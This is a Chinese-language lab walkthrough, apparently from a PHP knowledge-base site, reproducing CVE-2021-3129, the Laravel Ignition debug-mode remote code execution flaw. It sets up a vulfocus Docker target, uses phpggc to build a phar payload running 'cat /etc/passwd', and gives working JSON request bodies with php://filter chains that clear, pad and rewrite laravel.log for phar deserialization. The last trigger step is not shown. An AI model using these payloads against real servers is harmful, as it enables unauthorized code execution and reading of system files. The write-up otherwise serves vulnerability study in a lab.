[PHP知识库] CVE-2021-3129漏洞复现

开发: C++知识库 Java知识库 JavaScript Python PHP知识库人工智能区块链大数据移动开发嵌入式开发工具数据结构与算法开发测试游戏开发网络协议系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑笔记本显卡显示器固态硬盘硬盘耳机手机 iphone vivo oppo 小米华为单反装机图拉丁

-> PHP知识库 -> CVE-2021-3129漏洞复现 -> 正文阅读

[PHP知识库]CVE-2021-3129漏洞复现

1、漏洞概述

Laravel自带的Ignition 组件在开启了Debug模式时，file_get_contents()和file_put_contents()函数使用存在不安全的可能性，攻击者可以通过发起恶意请求，构造恶意Log文件等方式触发Phar反序列化，最终造成远程代码执行。

?默认情况下，laravel的日志文件是放置在storage/logs/laravel.log文件下，用来储存一些PHP的错误和一些堆栈追踪的相关信息。此时可以通过对该日志文件进行写操作，从而将该log文件变成恶意的phar文件。

影响版本

?Laravel < 8.4.3
?facade ignition < 2.5.2

2、复现过程

2.1、拉取容器

DockerHub上有该漏洞对应的环境

直接拉取镜像

启动环境 sudo docker run -d -p 8080:80 vulfocus/laravel-cve_2021_3129

靶机端浏览器可正常访问

攻击机端也可通过http://靶机ip:8080访问

2.2、准备工作

安装工具phpggc

sudo git clone https://github.com/ambionics/phpggc.git

赋予执行权限

sudo chmod 777 phpggc/phpggc

该工具的作用是：在laravel的依赖里面找一条能够rce的链，如monolog/rce1。生成对应的phar文件，并将phar文件base64编码

命令cat /etc/passwd的base64编码

2.3、攻击

2.3.1、开启Debug模式

burpsuite抓取一个数据包，按照下图的形式修改并发送数据包?

服务器返回数据（在response窗口下点击render按键可查看）

页面出现了Ignition的报错，说明漏洞存在，且开启了debug模式

2.3.2、发送数据包，将原日志文件清空

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}

# 参考资料见文末

2.3.3、给log添加前缀AA，用于对齐

{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
  "variableName":"username",
"viewFile": "AA"
 }
}

#参考资料见文末

2.3.4、把准备工作中生成的base64编码的POC文件放入viewfile中发送，并且在最后加上一个a，用于保证log中只有一个POC生成并发挥作用

2.3.5、清除干扰字符准备进行反序列化

{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName": "username",
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
 }
 }

#参考资料见文末

可以在靶机端进入容器中，查看当前log的状态

=========================

注：进入容器的命令为

sudo docker exec -it container-id /bin/bash

其中container-id可以通过命令sudo docker ps查看，最左端显示该容器的id）